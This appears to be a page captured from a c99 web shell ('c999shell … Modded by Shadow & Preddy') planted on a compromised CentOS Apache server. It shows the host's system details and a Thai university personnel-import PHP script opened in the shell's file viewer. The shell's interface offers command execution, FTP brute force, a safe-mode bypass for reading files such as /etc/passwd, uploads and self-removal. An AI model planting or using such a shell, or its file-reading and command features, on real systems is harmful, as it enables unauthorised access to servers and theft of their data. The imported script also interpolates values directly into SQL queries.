!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk_joice2222/ums/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     importPerson.php (6.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |


โปรดอ่าน
  • การนำเข้าข้อมูลบุคลากรนี้จะเป็นการนำข้อมูลบุคลากรที่จำเป็นในการเข้าสู่ระบบสารสนเทศจากระบบบุคลากร เข้าสู่ระบบ UMS และนำข้อมูลบุคลากรที่เกี่ยวข้องกับระบบทะเบียนเข้าสู่ระบบทะเบียน
  • ข้อมูลของบุคลากรที่จะต้องกำหนดให้กับบุคลากรทุกคนคือ สายงาน และ งานที่ได้รับมอบหมาย ซึ่งจะมีผลต่อการนำเข้าข้อมูลบุคลากรสู่ระบบทะเบียนและประมวลผล
  • ถ้าข้อมูลบุคลากรมีอยู่ในระบบ UMS และ จะไม่ถูกนำเข้าอีก
  • ถ้าต้องการจัดการข้อมูลผู้ใช้ หรือกำหนดสิทธิ์การใช้งาน ให้เลือกเมนู ข้อมูลผู้ใช้/ข้อมูลผู้ใช้งานระบบ-กำหนดสิทธิ์
  • ระบบบุคลากร
    Database Server
    Database Name>
    User name>
    Password>
    ระบบบทะเบียนและประมวลผล
    Database Server
    Database Name>
    User name>
    Password>

    "; $oPs->RSperson(); $oC->BeginTrans(); echo "นำเข้าข้อมูลจากระบบบุคลากร -> UMS"; echo "\n"; echo "\n"; $i=1; while ($oPs->GetRecord()){ //อ่านทุกคนจาก บุคลากร $s = "\n"; echo $s; } //while echo "
    #บุคลากรดำเนินการ
    $i$oPs->personCode $oPs->personName"; $i++; $oUm->SearchByPsCodeWg($oPs->personId, 4); if (!$oUm->GetRecord()){ //ถ้าไม่มีใน um $oU->addNewUser($oPs->personId, $oPs->personName, 4, -1, $oPs->personCode, $oPs->personCode); $s.= "เพิ่มใหม่ "; }else{ //มีใน um if ($oPs->fStatus==1){ //สถานะ อยู่ $sql = "update umuser set UsActive=1 where UsPsCode='$oPs->personId'"; $oC->Execute($sql); $s.= "ปรับปรุงสถานะเป็น active"; }else{ //สถานะ ไม่อยู่ ออก กะเสียน $sql = "update umuser set UsActive=0 where UsPsCode='$oPs->personId'"; $oC->Execute($sql); $s.= "ปรับปรุงสถานะเป็น No active"; } } $s.= "
    \n"; echo "

    ปรับปรุงข้อมูลบุคลากร
    เข้าสู่ระบบ UMS เรียบร้อย


    "; $oC->CommitTrans(); echo "
    "; //update to regist เฉพาะเจ้าหน้าที่ที่ได้สิทธิ์ในระบบทะเบียน $oCr->BeginTrans(); echo "นำเข้าข้อมูลจากระบบ UMS -> ระบบทะเบียน"; echo "\n"; echo "\n"; $i=1; $s=""; $oUm->RSUserBySt(7); //คนที่ถูกกำหนดให้มีสิทธิ์ในระบบทะเบียน เจ้าหน้าทีท่ อาจารย์ while($oUm->GetRecord()){ $oPs->SearchByKey($oUm->UsPsCode); //get personCode $oPs->GetRecord(); $oOf->SearchByOfficerCode($oPs->personCode); //หาตาม personCode if (!$oOf->GetRecord()){ //ยังไม่มีในระบบทะเบียน if ($oPs->assignId==0){ $s.= ""; }else{ $oOf->AddNew(); $oOf->officerCode=$oPs->personCode; $oOf->officerPassword=$oUm->UsPassword; if ($oPs->assignId==1 or $oPs->assignId==3) { if ($oPs->majortypeId==1) //สายสอน เช็คจากบุคลากร Majortype.majortypeId $oOf->officerType="4"; //อาจารย์ else $oOf->officerType="5"; //เจ้าหน้าที่ } $oOf->prefixId=$oPs->prefixId; $oOf->officerName=$oPs->fName; $oOf->officerSurname=$oPs->lName; $oOf->officerNameEng="-"; $oOf->officerSurnameEng="-"; $oOf->officerEmail="-"; $oOf->officerStatus="1"; $oOf->remark="-"; $oOf->contactAddress="-"; $oOf->contactPhone="-"; $oOf->Save(); $s.= ""; } }else{ //มีในระบบทะเบียนแล้ว $s.= ""; } $i++; } $s.="
    #บุคลากร
    $iยังไม่ได้กำหนด งานที่ได้รับมอบหมาย ให้แก่ $oPs->personCode :: $oPs->fName $oPs->lName
    $iAdd $oOf->officerCode :: $oOf->officerName $oOf->officerSurname to Regist.
    $i$oOf->officerCode :: $oOf->officerName $oOf->officerSurname already exists.
    \n"; echo $s; echo "

    ปรับปรุงข้อมูลบุคลากร
    เข้าสู่ระบบทะเบียนและประมวลผล เรียบร้อย


    "; $oCr->CommitTrans(); echo "
    "; } ?>
    bool(false)

    :: Command execute ::

    Enter:
     
    Select:
     

    :: Shadow's tricks :D ::

    Useful Commands
     
    Warning. Kernel may be alerted using higher levels
    Kernel Info:

    :: Preddy's tricks :D ::

    Php Safe-Mode Bypass (Read Files)

    File:

    eg: /etc/passwd

    Php Safe-Mode Bypass (List Directories):

    Dir:

    eg: /etc/

    :: Search ::
      - regexp 

    :: Upload ::
     
    [ Read-Only ]

    :: Make Dir ::
     
    [ Read-Only ]
    :: Make File ::
     
    [ Read-Only ]

    :: Go Dir ::
     
    :: Go File ::
     

    --[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--